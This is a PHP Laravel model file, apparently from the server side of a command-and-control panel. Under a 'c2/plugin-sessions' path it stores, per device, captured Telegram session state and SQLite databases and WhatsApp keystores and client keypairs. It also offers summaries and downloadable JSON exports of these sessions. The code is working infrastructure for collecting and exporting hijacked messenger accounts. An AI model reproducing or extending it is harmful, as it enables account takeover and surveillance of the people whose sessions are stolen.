<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Support\Facades\Storage;

class PluginSession extends Model
{
    public const KIND_TELEGRAM = 1;

    public const KIND_WHATSAPP = 2;

    public static function payloadFilePath(string $kind, string $deviceKey, ?string $accountId): string
    {
        $dir = (int) $kind === self::KIND_TELEGRAM ? 'telegram' : 'whatsapp';
        $safe = $accountId !== null && $accountId !== ''
            ? preg_replace('/[^A-Za-z0-9._-]+/', '_', $accountId)
            : 'unknown';

        return 'c2/plugin-sessions/'.$deviceKey.'/'.$dir.'/'.$safe.'.json';
    }

    public static function whatsappFilePath(string $deviceKey, ?string $accountId): string
    {
        return self::payloadFilePath(self::KIND_WHATSAPP, $deviceKey, $accountId);
    }

    /**
     * @param  array<string, mixed>  $blob
     * @return array<string, mixed>
     */
    public static function dbSummary(string $kind, array $blob, string $path, int $bytes): array
    {
        if ((int) $kind === self::KIND_TELEGRAM) {
            return [
                'user_id' => self::scalarOrNull($blob['user_id'] ?? $blob['userId'] ?? null),
                'has_state' => isset($blob['state']) && $blob['state'] !== '' && $blob['state'] !== [],
                'has_db' => isset($blob['db_sqlite']) && $blob['db_sqlite'] !== '' && $blob['db_sqlite'] !== null,
                'payload_path' => $path,
                'payload_bytes' => $bytes,
            ];
        }

        return [
            'nickname' => self::scalarOrNull($blob['nickname'] ?? null),
            'whatsappVersion' => self::scalarOrNull($blob['whatsappVersion'] ?? $blob['version'] ?? null),
            'phoneId' => self::scalarOrNull($blob['phoneId'] ?? null),
            'has_keystore' => isset($blob['phoneKeyStore']) || isset($blob['clientStaticKeypairBase64']),
            'payload_path' => $path,
            'payload_bytes' => $bytes,
        ];
    }

    /**
     * @param  array<string, mixed>  $blob
     * @return array<string, mixed>
     */
    public static function whatsappDbSummary(array $blob, string $path, int $bytes): array
    {
        return self::dbSummary(self::KIND_WHATSAPP, $blob, $path, $bytes);
    }

    private static function scalarOrNull(mixed $value): ?string
    {
        if (is_string($value) || is_int($value) || is_float($value)) {
            $value = trim((string) $value);

            return $value !== '' ? $value : null;
        }

        return null;
    }

    protected $fillable = [
        'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload',
    ];

    protected function casts(): array
    {
        return [
            'kind' => 'integer',
            'payload' => 'array',
        ];
    }

    public function device(): BelongsTo
    {
        return $this->belongsTo(Device::class);
    }

    public function kindLabel(): string
    {
        return match ($this->kind) {
            self::KIND_TELEGRAM => 'Telegram',
            self::KIND_WHATSAPP => 'WhatsApp',
            default => (string) $this->kind,
        };
    }

    public function isTelegram(): bool
    {
        return (int) $this->kind === self::KIND_TELEGRAM;
    }

    public function isWhatsApp(): bool
    {
        return (int) $this->kind === self::KIND_WHATSAPP;
    }

    /**
     * Compact fields for the collection list (omit large blobs).
     *
     * @return array<string, mixed>
     */
    public function listSummary(): array
    {
        $payload = is_array($this->payload) ? $this->payload : [];
        if ($this->isWhatsApp()) {
            return [
                'account_id' => $this->account_id ?: '',
                'phone' => $this->phone ?: '',
                'nickname' => $this->scalarFromPayload($payload, ['nickname']),
                'version' => $this->scalarFromPayload($payload, ['whatsappVersion', 'version']),
                'has_keystore' => (bool) ($payload['has_keystore']
                    ?? (isset($payload['phoneKeyStore']) || isset($payload['clientStaticKeypairBase64']))),
            ];
        }

        return [
            'account_id' => $this->account_id ?: $this->scalarFromPayload($payload, ['user_id', 'userId']),
            'has_state' => (bool) ($payload['has_state']
                ?? (isset($payload['state']) && $payload['state'] !== '' && $payload['state'] !== [])),
            'has_db' => (bool) ($payload['has_db']
                ?? (isset($payload['db_sqlite']) && $payload['db_sqlite'] !== '' && $payload['db_sqlite'] !== null)),
        ];
    }

    /**
     * Full session blob from the on-disk file, or the JSON column if no file.
     *
     * @return array<string, mixed>
     */
    public function fullPayload(): array
    {
        $payload = is_array($this->payload) ? $this->payload : [];
        $path = $payload['payload_path'] ?? null;
        if (is_string($path) && $path !== '' && Storage::disk('local')->exists($path)) {
            $decoded = json_decode((string) Storage::disk('local')->get($path), true);
            if (is_array($decoded)) {
                return $decoded;
            }
        }

        return $payload;
    }

    public function payloadPath(): ?string
    {
        $path = is_array($this->payload) ? ($this->payload['payload_path'] ?? null) : null;

        return is_string($path) && $path !== '' ? $path : null;
    }

    public function downloadFilename(): string
    {
        $label = $this->isWhatsApp() ? 'ws' : 'tg';
        $device = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->device_key ?: $this->device_id)) ?: 'device';
        $account = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->account_id ?: $this->id)) ?: 'account';

        return $label.'-'.$device.'-'.$account.'.json';
    }

    public function displayPayload(): array
    {
        $payload = $this->fullPayload();
        if ($this->isTelegram()) {
            return $payload;
        }

        return $this->truncatePayload($payload);
    }

    /**
     * @param  array<string, mixed>  $payload
     */
    private function scalarFromPayload(array $payload, array $keys): string
    {
        foreach ($keys as $key) {
            $value = $payload[$key] ?? null;
            if (is_int($value) || is_float($value)) {
                return (string) $value;
            }
            if (is_string($value) && trim($value) !== '') {
                return trim($value);
            }
        }

        return '';
    }

    /**
     * @param  array<string, mixed>  $payload
     * @return array<string, mixed>
     */
    private function truncatePayload(array $payload, int $max = 240): array
    {
        $out = [];
        foreach ($payload as $key => $value) {
            if (is_array($value)) {
                $encoded = json_encode($value);
                if (is_string($encoded) && strlen($encoded) > 1500) {
                    $out[$key] = [
                        '_omitted' => true,
                        'items' => count($value),
                        'bytes' => strlen($encoded),
                    ];
                    continue;
                }
                $out[$key] = $this->truncatePayload($value, $max);
                continue;
            }
            if (! is_string($value)) {
                $out[$key] = $value;
                continue;
            }
            if (strlen($value) > $max) {
                $out[$key] = substr($value, 0, $max).'… ('.strlen($value).' bytes)';
                continue;
            }
            $out[$key] = $value;
        }

        return $out;
    }
}